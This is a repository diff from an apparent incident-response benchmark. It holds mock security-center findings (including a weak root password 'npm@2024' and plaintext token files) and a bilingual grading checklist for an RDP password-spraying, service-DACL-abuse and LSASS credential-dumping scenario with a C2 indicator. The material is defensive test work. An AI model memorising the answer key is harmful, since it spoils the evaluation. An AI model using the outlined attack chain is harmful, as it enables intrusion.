+
"WarningMachineCount": 1,
|
| 19 |
+
"WarningItems": [
|
| 20 |
+
{
|
| 21 |
+
"Item": "SSH PermitRootLogin 配置为 yes",
|
| 22 |
+
"CheckId": "CHK-10",
|
| 23 |
+
"Level": "high"
|
| 24 |
+
},
|
| 25 |
+
{
|
| 26 |
+
"Item": "SSH PasswordAuthentication 配置为 yes",
|
| 27 |
+
"CheckId": "CHK-11",
|
| 28 |
+
"Level": "medium"
|
| 29 |
+
},
|
| 30 |
+
{
|
| 31 |
+
"Item": "developer 用户 sudo 权限过宽",
|
| 32 |
+
"CheckId": "CHK-18",
|
| 33 |
+
"Level": "high"
|
| 34 |
+
}
|
| 35 |
+
]
|
| 36 |
+
},
|
| 37 |
+
{
|
| 38 |
+
"CheckCount": 1,
|
| 39 |
+
"CheckExploit": true,
|
| 40 |
+
"ContainerRisk": false,
|
| 41 |
+
"DatabaseRisk": false,
|
| 42 |
+
"HighWarningCount": 1,
|
| 43 |
+
"LastFoundTime": "2026-05-07 04:37:12",
|
| 44 |
+
"Level": "high",
|
| 45 |
+
"LowWarningCount": 0,
|
| 46 |
+
"MediumWarningCount": 0,
|
| 47 |
+
"RiskId": 105,
|
| 48 |
+
"RiskName": "弱口令-Linux系统登录弱口令检查",
|
| 49 |
+
"SubTypeAlias": "弱口令-Linux系统登录弱口令检查",
|
| 50 |
+
"TypeAlias": "弱口令",
|
| 51 |
+
"WarningMachineCount": 1,
|
| 52 |
+
"WarningItems": [
|
| 53 |
+
{
|
| 54 |
+
"Item": "root 用户存在弱密码 npm@2024",
|
| 55 |
+
"CheckId": "CHK-12",
|
| 56 |
+
"Level": "high"
|
| 57 |
+
}
|
| 58 |
+
]
|
| 59 |
+
},
|
| 60 |
+
{
|
| 61 |
+
"CheckCount": 13,
|
| 62 |
+
"CheckExploit": false,
|
| 63 |
+
"ContainerRisk": false,
|
| 64 |
+
"DatabaseRisk": false,
|
| 65 |
+
"HighWarningCount": 0,
|
| 66 |
+
"LastFoundTime": "2026-05-07 04:35:45",
|
| 67 |
+
"Level": "medium",
|
| 68 |
+
"LowWarningCount": 1,
|
| 69 |
+
"MediumWarningCount": 2,
|
| 70 |
+
"RiskId": 96,
|
| 71 |
+
"RiskName": "阿里云标准-Nginx安全基线",
|
| 72 |
+
"SubTypeAlias": "阿里云标准-Nginx安全基线",
|
| 73 |
+
"TypeAlias": "最佳安全实践",
|
| 74 |
+
"WarningMachineCount": 1,
|
| 75 |
+
"WarningItems": [
|
| 76 |
+
{
|
| 77 |
+
"Item": "Nginx 反向代理暴露未授权部署接口 /api/webhook/deploy",
|
| 78 |
+
"CheckId": "CHK-13",
|
| 79 |
+
"Level": "medium"
|
| 80 |
+
}
|
| 81 |
+
]
|
| 82 |
+
},
|
| 83 |
+
{
|
| 84 |
+
"CheckCount": 4,
|
| 85 |
+
"CheckExploit": false,
|
| 86 |
+
"ContainerRisk": false,
|
| 87 |
+
"DatabaseRisk": false,
|
| 88 |
+
"HighWarningCount": 2,
|
| 89 |
+
"LastFoundTime": "2026-05-07 04:36:10",
|
| 90 |
+
"Level": "high",
|
| 91 |
+
"LowWarningCount": 0,
|
| 92 |
+
"MediumWarningCount": 2,
|
| 93 |
+
"RiskId": 9001,
|
| 94 |
+
"RiskName": "应用配置敏感信息风险",
|
| 95 |
+
"SubTypeAlias": "应用配置敏感信息风险",
|
| 96 |
+
"TypeAlias": "最佳安全实践",
|
| 97 |
+
"WarningMachineCount": 1,
|
| 98 |
+
"WarningItems": [
|
| 99 |
+
{
|
| 100 |
+
"Item": "/home/developer/.npmrc 明文保存 npm token",
|
| 101 |
+
"CheckId": "CHK-14",
|
| 102 |
+
"Level": "high"
|
| 103 |
+
},
|
| 104 |
+
{
|
| 105 |
+
"Item": "/home/developer/.ssh/id_rsa 未加密保护",
|
| 106 |
+
"CheckId": "CHK-15",
|
| 107 |
+
"Level": "high"
|
| 108 |
+
},
|
| 109 |
+
{
|
| 110 |
+
"Item": "/opt/webapp/.env 权限过松并包含 DB/API/JWT 秘密",
|
| 111 |
+
"CheckId": "CHK-16",
|
| 112 |
+
"Level": "medium"
|
| 113 |
+
},
|
| 114 |
+
{
|
| 115 |
+
"Item": "/home/developer/.git-credentials 明文保存 Git 凭证",
|
| 116 |
+
"CheckId": "CHK-17",
|
| 117 |
+
"Level": "medium"
|
| 118 |
+
}
|
| 119 |
+
]
|
| 120 |
+
}
|
| 121 |
+
]
|
| 122 |
+
}
|
ranges/npm-worm/sas-mock/vulns.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
[]
|
ranges/rdp-service-abuse/checklist.en.md
ADDED
|
@@ -0,0 +1,129 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-rdp-service-abuse Checklist (schema v2)
|
| 2 |
+
|
| 3 |
+
## Capability-level scoring
|
| 4 |
+
|
| 5 |
+
Each atomic CHK has three dimensions:
|
| 6 |
+
|
| 7 |
+
- **Detection score** (max 3 pts): Discovery (1) + Evidence (1) + Attribution (1)
|
| 8 |
+
- **Plan score** (max 2 pts): Correctness (1) + Completeness (1)
|
| 9 |
+
- **detection-only**: Plan score marked N/A, not counted in the corresponding dimension summary.
|
| 10 |
+
|
| 11 |
+
### CHK-01: RDP spray failed-login detection `Q-02`
|
| 12 |
+
|
| 13 |
+
- **Evidence**: Security 4625, TerminalServices authentication events, same source attempting multiple local accounts within a short time window.
|
| 14 |
+
- **Detection score**: Discovery of the RDP failed-login pattern; cite accounts, time window, event IDs, or log paths; attribute to password spraying rather than an ordinary single login failure.
|
| 15 |
+
- **Plan score**: N/A.
|
| 16 |
+
|
| 17 |
+
### CHK-02: helpdesk RDP login detection `Q-02`
|
| 18 |
+
|
| 19 |
+
- **Evidence**: `helpdesk`'s Security 4624 / TerminalServices 1149 success records, with Logon Type consistent with RDP/remote interactive.
|
| 20 |
+
- **Detection score**: Discovery of the successful account; cite the events and source; attribute to the low-privilege local account the attacker hit.
|
| 21 |
+
- **Plan score**: N/A.
|
| 22 |
+
|
| 23 |
+
### CHK-03: Attacker source-IP attribution `ENT-N01` `Q-03`
|
| 24 |
+
|
| 25 |
+
- **Evidence**: Source address from RDP authentication events, SAS alerts, or remote-management events.
|
| 26 |
+
- **Detection score**: Discovery of the source IP; cite at least one class of log evidence; correlate the IP to the spraying and the subsequent operation timeline.
|
| 27 |
+
- **Plan score**: Correctness requires recommending blocking or restricting the source; Completeness requires describing the verification method for cloud security groups / host firewall / log retention.
|
| 28 |
+
|
| 29 |
+
### CHK-04: Entry-point RDP weak password `BAS-03` `Q-01`
|
| 30 |
+
|
| 31 |
+
- **Evidence**: RDP spraying and `helpdesk` successful login appear first, followed by authenticated service-control activity.
|
| 32 |
+
- **Detection score**: Discovery of the entry type; cite the before/after event sequence; clearly distinguish the initial RDP entry from the subsequent credentialed service-abuse execution channel (RPC/SCM or Windows OpenSSH local SCM fallback).
|
| 33 |
+
- **Plan score**: Correctness requires recommending remediation of the weak password and RDP exposure surface; Completeness requires avoiding an incorrect Webshell/RCE root-cause claim.
|
| 34 |
+
|
| 35 |
+
### CHK-05: CorpBackupSvc weak service DACL `BAS-04`
|
| 36 |
+
|
| 37 |
+
- **Evidence**: In `CorpBackupSvc`'s security descriptor, the `helpdesk` SID holds service-control permissions such as change config / start / stop.
|
| 38 |
+
- **Detection score**: Discovery of the weak DACL; cite the SDDL, SID, or permission entries; attribute to a low-privilege account being able to abuse the service to gain SYSTEM execution.
|
| 39 |
+
- **Plan score**: Correctness requires removing `helpdesk`'s explicit high-risk permissions; Completeness requires retaining the necessary SYSTEM/Administrators permissions and verifying the business service is still configurable.
|
| 40 |
+
|
| 41 |
+
### CHK-06: CorpBackupSvc config tampering `PER-V03`
|
| 42 |
+
|
| 43 |
+
- **Evidence**: SCM 7040/7045/7036, abnormal service `ImagePath`, and the binPath being changed to a PowerShell payload during the attack window and then restored.
|
| 44 |
+
- **Detection score**: Discovery of the config tampering; cite event or configuration evidence; attribute to the execution action following the service-DACL abuse.
|
| 45 |
+
- **Plan score**: Correctness requires restoring the legitimate binPath; Completeness requires reviewing the service startup account, DACL, and related SCM events.
|
| 46 |
+
|
| 47 |
+
### CHK-07: SYSTEM payload execution chain `Q-02`
|
| 48 |
+
|
| 49 |
+
- **Evidence**: After the service starts, `WindowsHealthSvc`, scheduled tasks, credential residue, and beacon logs are dropped.
|
| 50 |
+
- **Detection score**: Discovery of the SYSTEM payload result; cite multiple dropped artifacts; attribute to the SYSTEM-privilege chain resulting from service execution.
|
| 51 |
+
- **Plan score**: Correctness requires cleanup following the service-abuse chain; Completeness requires covering payload, persistence, credential residue, and account rotation.
|
| 52 |
+
|
| 53 |
+
### CHK-08: Masquerade svc Windows HealthSvc detection `PER-V03`
|
| 54 |
+
|
| 55 |
+
- **Evidence**: `HKLM:\SYSTEM\CurrentControlSet\Services\WindowsHealthSvc` exists, with binPath pointing to `C:\ProgramData\WindowsHealth\WindowsHealthSvc.ps1`.
|
| 56 |
+
- **Detection score**: Discovery of the masquerading service; cite the registry/service configuration; attribute to post-attack service persistence.
|
| 57 |
+
- **Plan score**: Correctness requires stopping and deleting the service; Completeness requires also deleting the payload directory and checking for adjacent masquerading services.
|
| 58 |
+
|
| 59 |
+
### CHK-09: Windows HealthSvc cleanup plan `PER-V03`
|
| 60 |
+
|
| 61 |
+
- **Evidence**: Same as CHK-08.
|
| 62 |
+
- **Detection score**: N/A.
|
| 63 |
+
- **Plan score**: Correctness requires including `sc.exe stop WindowsHealthSvc` and `sc.exe delete WindowsHealthSvc` or equivalent PowerShell; Completeness requires collecting evidence before cleanup, then verifying that neither the service nor the process exists.
|
| 64 |
+
|
| 65 |
+
### CHK-10: Scheduled task HealthSync detection `PER-S04`
|
| 66 |
+
|
| 67 |
+
- **Evidence**: `\Microsoft\Windows\Maintenance\HealthSync` exists, with its Action pointing to the WindowsHealth payload.
|
| 68 |
+
- **Detection score**: Discovery of the scheduled task; cite the TaskPath, TaskName, and Action; attribute to post-attack scheduled-task persistence.
|
| 69 |
+
- **Plan score**: Correctness requires deleting the task; Completeness requires checking for adjacent masquerading tasks under the same path.
|
| 70 |
+
|
| 71 |
+
### CHK-11: Scheduled-task action risk analysis `PER-S04`
|
| 72 |
+
|
| 73 |
+
- **Evidence**: The task Action uses PowerShell, ExecutionPolicy Bypass, or a non-standard ProgramData path.
|
| 74 |
+
- **Detection score**: Discovery of the high-risk action; cite the full command; attribute to persistence launching the payload rather than an ordinary system-maintenance task.
|
| 75 |
+
- **Plan score**: Correctness requires explaining the risk and deleting or disabling it; Completeness requires decoding/expanding all parameters before drawing a conclusion.
|
| 76 |
+
|
| 77 |
+
### CHK-12: Scheduled-task cleanup plan `PER-S04`
|
| 78 |
+
|
| 79 |
+
- **Evidence**: Same as CHK-10/11.
|
| 80 |
+
- **Detection score**: N/A.
|
| 81 |
+
- **Plan score**: Correctness requires including `Unregister-ScheduledTask` or an equivalent deletion command; Completeness requires verifying that both the task XML and any running instance are gone.
|
| 82 |
+
|
| 83 |
+
### CHK-13: Payload directory detection `ENT-F06`
|
| 84 |
+
|
| 85 |
+
- **Evidence**: `C:\ProgramData\WindowsHealth`, `WindowsHealthSvc.ps1`, `last-beacon.log`.
|
| 86 |
+
- **Detection score**: Discovery of the directory and files; cite the path, mtime, or contents; attribute to the persistence payload and C2 log directory.
|
| 87 |
+
- **Plan score**: Correctness requires deleting the directory; Completeness requires deleting the service/task before deleting the directory to avoid it being recreated.
|
| 88 |
+
|
| 89 |
+
### CHK-14: C2 indicator identification `ENT-N03`
|
| 90 |
+
|
| 91 |
+
- **Evidence**: The domain and port in `last-beacon.log`.
|
| 92 |
+
- **Detection score**: Discovery of the C2 indicator; cite the log contents; attribute to a beacon/callback indicator rather than an ordinary business domain.
|
| 93 |
+
- **Plan score**: Correctness requires blocking the domain/port or an outbound policy; Completeness requires describing DNS, proxy, firewall, and log retrospection.
|
| 94 |
+
|
| 95 |
+
### CHK-15: procdump residue detection `ENT-F06`
|
| 96 |
+
|
| 97 |
+
- **Evidence**: `C:\Windows\Temp\procdump.exe`.
|
| 98 |
+
- **Detection score**: Discovery of the tool residue; cite the path; attribute to it being part of the LSASS dump toolchain.
|
| 99 |
+
- **Plan score**: Correctness requires deleting the tool; Completeness requires checking other temp directories and tools from the same time window.
|
| 100 |
+
|
| 101 |
+
### CHK-16: lsass dump detection `ENT-F04`
|
| 102 |
+
|
| 103 |
+
- **Evidence**: `C:\Windows\Temp\lsass.dmp`, with contents marked as an LSASS dump.
|
| 104 |
+
- **Detection score**: Discovery of the dump; cite the path and file type/contents; attribute to the credential-theft impact scope.
|
| 105 |
+
- **Plan score**: Correctness requires deleting the sensitive dump; Completeness requires first recording the impact scope and triggering credential rotation.
|
| 106 |
+
|
| 107 |
+
### CHK-17: creds residue detection `ENT-F04`
|
| 108 |
+
|
| 109 |
+
- **Evidence**: `C:\Windows\Temp\creds.txt`.
|
| 110 |
+
- **Detection score**: Discovery of the credential text; cite the path; attribute to credential-leak residue, without disclosing the plaintext contents in the report.
|
| 111 |
+
- **Plan score**: Correctness requires deleting the text; Completeness requires describing credential rotation, session revocation, and lateral-movement review.
|
| 112 |
+
|
| 113 |
+
### CHK-18: Credential rotation and session revocation `BAS-03`
|
| 114 |
+
|
| 115 |
+
- **Evidence**: Triggered if any of procdump, lsass dump, or creds.txt is present.
|
| 116 |
+
- **Detection score**: Discovery of the credential impact scope; cite the residue chain; attribute to local accounts and possibly cached credentials no longer being trustworthy.
|
| 117 |
+
- **Plan score**: Correctness requires rotating the affected local-account passwords; Completeness requires revoking active sessions and investigating reused credentials and lateral movement.
|
| 118 |
+
|
| 119 |
+
### CHK-19: helpdesk weak-password fix `BAS-03`
|
| 120 |
+
|
| 121 |
+
- **Evidence**: `helpdesk` was hit by RDP spraying.
|
| 122 |
+
- **Detection score**: Discovery of the weak-password account; cite the successful-login evidence; attribute to a valid-account entry.
|
| 123 |
+
- **Plan score**: Correctness requires disabling or rotating the `helpdesk` password; Completeness requires restricting RDP exposure, limiting Remote Desktop Users membership, and enabling audit/lockout policies.
|
| 124 |
+
|
| 125 |
+
### CHK-20: Service DACL least-privilege fix `BAS-04`
|
| 126 |
+
|
| 127 |
+
- **Evidence**: The `CorpBackupSvc` DACL explicitly grants `helpdesk` high-risk service-control permissions.
|
| 128 |
+
- **Detection score**: Discovery of the service-permission risk; cite the SDDL/SID; attribute to service misconfiguration leading to privilege escalation.
|
| 129 |
+
- **Plan score**: Correctness requires removing change config/start/stop/write permissions from low-privilege principals; Completeness requires retaining the administrator permissions the business needs, verifying the service can start, and checking similar services.
|
ranges/rdp-service-abuse/checklist.md
ADDED
|
@@ -0,0 +1,129 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-rdp-service-abuse 检查清单 (schema v2)
|
| 2 |
+
|
| 3 |
+
## 能力水位分
|
| 4 |
+
|
| 5 |
+
每个原子 CHK 三维:
|
| 6 |
+
|
| 7 |
+
- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1)
|
| 8 |
+
- **方案分**(满分 2 分):正确性(1) + 完整性(1)
|
| 9 |
+
- **仅检测项**:方案分标 N/A,不参与对应维度汇总
|
| 10 |
+
|
| 11 |
+
### CHK-01:RDP password spraying 失败登录识别 `Q-02`
|
| 12 |
+
|
| 13 |
+
- **证据**:Security 4625、TerminalServices 认证事件、同一来源在短时间内尝试多个本地账号。
|
| 14 |
+
- **检测分**:发现 RDP 失败登录模式;引用账号、时间窗、事件 ID 或日志路径;归因为 password spraying,而不是普通单次登录失败。
|
| 15 |
+
- **方案分**:N/A。
|
| 16 |
+
|
| 17 |
+
### CHK-02:`helpdesk` RDP 成功登录识别 `Q-02`
|
| 18 |
+
|
| 19 |
+
- **证据**:`helpdesk` 的 Security 4624 / TerminalServices 1149 成功记录,Logon Type 与 RDP/远程交互一致。
|
| 20 |
+
- **检测分**:发现成功账号;引用事件和来源;归因为攻击者命中的本地低权限账号。
|
| 21 |
+
- **方案分**:N/A。
|
| 22 |
+
|
| 23 |
+
### CHK-03:攻击者源 IP `47.83.181.140` 归因 `ENT-N01` `Q-03`
|
| 24 |
+
|
| 25 |
+
- **证据**:RDP 认证事件、SAS 告警或远程管理事件中的来源地址。
|
| 26 |
+
- **检测分**:发现源 IP;引用至少一类日志证据;把该 IP 关联到 spraying 与后续操作时间线。
|
| 27 |
+
- **方案分**:正确性要求建议封禁或收敛该来源;完整性要求说明云安全组/主机防火墙/日志留存的验证方式。
|
| 28 |
+
|
| 29 |
+
### CHK-04:初始入口归因为 RDP 弱口令,而不是 Web/RPC `BAS-03` `Q-01`
|
| 30 |
+
|
| 31 |
+
- **证据**:先出现 RDP spraying 与 `helpdesk` 成功登录,再出现已认证服务控制行为。
|
| 32 |
+
- **检测分**:发现入口类型;引用前后事件顺序;明确区分初始入口 RDP 与后续 credentialed 服务滥用执行通道(RPC/SCM 或 Windows OpenSSH local SCM fallback)。
|
| 33 |
+
- **方案分**:正确性要求建议修复弱口令与 RDP 暴露面;完整性要求避免错误提出 Webshell/RCE 根因。
|
| 34 |
+
|
| 35 |
+
### CHK-05:`CorpBackupSvc` 弱服务 DACL 识别 `BAS-04`
|
| 36 |
+
|
| 37 |
+
- **证据**:`CorpBackupSvc` 安全描述符中 `helpdesk` SID 具备 change config / start / stop 等服务控制权限。
|
| 38 |
+
- **检测分**:发现弱 DACL;引用 SDDL、SID 或权限项;归因为低权限账号可滥用服务获得 SYSTEM 执行。
|
| 39 |
+
- **方案分**:正确性要求移除 `helpdesk` 显式高危权限;完整性要求保留 SYSTEM/Administrators 必要权限并验证业务服务仍可配置。
|
| 40 |
+
|
| 41 |
+
### CHK-06:`CorpBackupSvc` 服务配置篡改识别 `PER-V03`
|
| 42 |
+
|
| 43 |
+
- **证据**:SCM 7040/7045/7036、服务 `ImagePath` 异常、攻击窗口内 binPath 被改为 PowerShell payload 后恢复。
|
| 44 |
+
- **检测分**:发现配置篡改;引用事件或配置证据;归因为服务 DACL 滥用后的执行动作。
|
| 45 |
+
- **方案分**:正确性要求恢复合法 binPath;完整性要求复核服务启动账户、DACL、相关 SCM 事件。
|
| 46 |
+
|
| 47 |
+
### CHK-07:SYSTEM payload 执行链识别 `Q-02`
|
| 48 |
+
|
| 49 |
+
- **证据**:服务启动后落地 `WindowsHealthSvc`、计划任务、凭据残留和 beacon 日志。
|
| 50 |
+
- **检测分**:发现 SYSTEM payload 结果;引用多个落地产物;归因为服务执行带来的 SYSTEM 权限链。
|
| 51 |
+
- **方案分**:正确性要求按服务滥用链清理;完整性要求覆盖 payload、持久化、凭据残留和账号轮换。
|
| 52 |
+
|
| 53 |
+
### CHK-08:伪装服务 `WindowsHealthSvc` 检出 `PER-V03`
|
| 54 |
+
|
| 55 |
+
- **证据**:`HKLM:\SYSTEM\CurrentControlSet\Services\WindowsHealthSvc` 存在,binPath 指向 `C:\ProgramData\WindowsHealth\WindowsHealthSvc.ps1`。
|
| 56 |
+
- **检测分**:发现伪装服务;引用注册表/服务配置;归因为攻击后服务持久化。
|
| 57 |
+
- **方案分**:正确性要求停止并删除服务;完整性要求同时删除 payload 目录并检查相邻伪装服务。
|
| 58 |
+
|
| 59 |
+
### CHK-09:伪装服务 `WindowsHealthSvc` 清理建议 `PER-V03`
|
| 60 |
+
|
| 61 |
+
- **证据**:同 CHK-08。
|
| 62 |
+
- **检测分**:N/A。
|
| 63 |
+
- **方案分**:正确性要求包含 `sc.exe stop WindowsHealthSvc` 和 `sc.exe delete WindowsHealthSvc` 或等价 PowerShell;完整性要求先取证后清理、再验证服务和进程均不存在。
|
| 64 |
+
|
| 65 |
+
### CHK-10:计划任务 `HealthSync` 检出 `PER-S04`
|
| 66 |
+
|
| 67 |
+
- **证据**:`\Microsoft\Windows\Maintenance\HealthSync` 存在,Action 指向 WindowsHealth payload。
|
| 68 |
+
- **检测分**:发现计划任务;引用 TaskPath、TaskName、Action;归因为攻击后计划任务持久化。
|
| 69 |
+
- **方案分**:正确性要求删除该任务;完整性要求检查同路径下相邻伪装任务。
|
| 70 |
+
|
| 71 |
+
### CHK-11:计划任务 action 风险分析 `PER-S04`
|
| 72 |
+
|
| 73 |
+
- **证据**:任务 Action 使用 PowerShell、ExecutionPolicy Bypass 或非标准 ProgramData 路径。
|
| 74 |
+
- **检测分**:发现高危 action;引用完整命令;归因为持久化拉起 payload,而不是普通系统维护任务。
|
| 75 |
+
- **方案分**:正确性要求解释风险并删除或禁用;完整性要求解码/展开所有参数后再下结论。
|
| 76 |
+
|
| 77 |
+
### CHK-12:计划任务清理建议 `PER-S04`
|
| 78 |
+
|
| 79 |
+
- **证据**:同 CHK-10/11。
|
| 80 |
+
- **检测分**:N/A。
|
| 81 |
+
- **方案分**:正确性要求包含 `Unregister-ScheduledTask` 或等价删除命令;完整性要求验证任务 XML 和运行实例都已消失。
|
| 82 |
+
|
| 83 |
+
### CHK-13:payload 目录 `C:\ProgramData\WindowsHealth` 检出 `ENT-F06`
|
| 84 |
+
|
| 85 |
+
- **证据**:`C:\ProgramData\WindowsHealth`、`WindowsHealthSvc.ps1`、`last-beacon.log`。
|
| 86 |
+
- **检测分**:发现目录和文件;引用路径、mtime 或内容;归因为持久化 payload 与 C2 日志目录。
|
| 87 |
+
- **方案分**:正确性要求删除目录;完整性要求先删除服务/任务再删除目录,避免被重新创建。
|
| 88 |
+
|
| 89 |
+
### CHK-14:C2 indicator `malicious-update.example.cn:8443` 识别 `ENT-N03`
|
| 90 |
+
|
| 91 |
+
- **证据**:`last-beacon.log` 中的域名和端口。
|
| 92 |
+
- **检测分**:发现 C2 indicator;引用日志内容;归因为 beacon/回连指标,而不是普通业务域名。
|
| 93 |
+
- **方案分**:正确性要求封禁域名/端口或出站策略;完整性要求说明 DNS、代理、防火墙和日志回溯。
|
| 94 |
+
|
| 95 |
+
### CHK-15:`procdump.exe` 凭据工具残留识别 `ENT-F06`
|
| 96 |
+
|
| 97 |
+
- **证据**:`C:\Windows\Temp\procdump.exe`。
|
| 98 |
+
- **检测分**:发现工具残留;引用路径;归因为 LSASS dump 工具链一部分。
|
| 99 |
+
- **方案分**:正确性要求删除工具;完整性要求检查其他临时目录和同时间窗工具。
|
| 100 |
+
|
| 101 |
+
### CHK-16:`lsass.dmp` 敏感 dump 识别 `ENT-F04`
|
| 102 |
+
|
| 103 |
+
- **证据**:`C:\Windows\Temp\lsass.dmp`,内容标记为 LSASS dump。
|
| 104 |
+
- **检测分**:发现 dump;引用路径和文件类型/内容;归因为凭据窃取影响面。
|
| 105 |
+
- **方案分**:正确性要求删除敏感 dump;完整性要求先记录影响范围并触发凭据轮换。
|
| 106 |
+
|
| 107 |
+
### CHK-17:`creds.txt` 凭据文本残留识别 `ENT-F04`
|
| 108 |
+
|
| 109 |
+
- **证据**:`C:\Windows\Temp\creds.txt`。
|
| 110 |
+
- **检测分**:发现凭据文本;引用路径;归因为凭据泄露残留,不能在报告中泄露明文内容。
|
| 111 |
+
- **方案分**:正确性要求删除文本;完整性要求说明凭据轮换、会话吊销和横向移动复查。
|
| 112 |
+
|
| 113 |
+
### CHK-18:凭据轮换与会话吊销建议 `BAS-03`
|
| 114 |
+
|
| 115 |
+
- **证据**:procdump、lsass dump、creds.txt 任一存在即触发。
|
| 116 |
+
- **检测分**:发现凭据影响面;引用残留链;归因为本地账号和可能缓存凭据已不可信。
|
| 117 |
+
- **方案分**:正确性要求轮换受影响本地账号密码;完整性要求吊销活动会话、排查复用凭据和横向移动。
|
| 118 |
+
|
| 119 |
+
### CHK-19:`helpdesk` 弱口令修复建议 `BAS-03`
|
| 120 |
+
|
| 121 |
+
- **证据**:`helpdesk` 被 RDP spraying 命中。
|
| 122 |
+
- **检测分**:发现弱口令账号;引用成功登录证据;归因为有效账号入口。
|
| 123 |
+
- **方案分**:正确性要求禁用或轮换 `helpdesk` 密码;完整性要求收敛 RDP 暴露、限制 Remote Desktop Users 成员并启用审计/锁定策略。
|
| 124 |
+
|
| 125 |
+
### CHK-20:服务 DACL 最小权限修复建议 `BAS-04`
|
| 126 |
+
|
| 127 |
+
- **证据**:`CorpBackupSvc` DACL 显式授权 `helpdesk` 高危服务控制权限。
|
| 128 |
+
- **检测分**:发现服务权限风险;引用 SDDL/SID;归因为服务误配置导致提权。
|
| 129 |
+
- **方案分**:正确性要求移除低权限主体的 change config/start/stop/write 权限;完整性要求保留业务所需管理员权限、验证服务可启动并检查类似服务。
|
ranges/rdp-service-abuse/disk.tar.gz
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:8ee0392f6ddf0ca718093170c514eaee6e848d3117c3a5333ebebccb3f147151
|
| 3 |
+
size 68822971
|
ranges/rdp-service-abuse/disk.tar.gz.sha256
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:de3052d5fb187c70d9d260ed5eddcff14ea9a6857de50ebecb65cbe8eab6d45d
|
| 3 |
+
size 78
|
ranges/rdp-service-abuse/sas-mock/alerts.json
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
ranges/rdp-service-abuse/sas-mock/baselines.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"instance_id": "i-bp1864d401as14btd9vf",
|
| 3 |
+
"pages": [
|
| 4 |
+
{
|
| 5 |
+
"List": [],
|
| 6 |
+
"RequestId": "3D3E3493-4CE5-5DA0-8B9F-780973C54CCD"
|
| 7 |
+
}
|
| 8 |
+
],
|
| 9 |
+
"source": "SAS::describe_risk_list_check_result",
|
| 10 |
+
"uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf"
|
| 11 |
+
}
|
ranges/rdp-service-abuse/sas-mock/vulns.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"instance_id": "i-bp1864d401as14btd9vf",
|
| 3 |
+
"pages": [
|
| 4 |
+
{
|
| 5 |
+
"CurrentPage": 1,
|
| 6 |
+
"GroupedVulItems": [],
|
| 7 |
+
"PageSize": 50,
|
| 8 |
+
"RequestId": "D2D99EB0-D996-5F82-A93C-D687996D9B84",
|
| 9 |
+
"TotalCount": 0
|
| 10 |
+
}
|
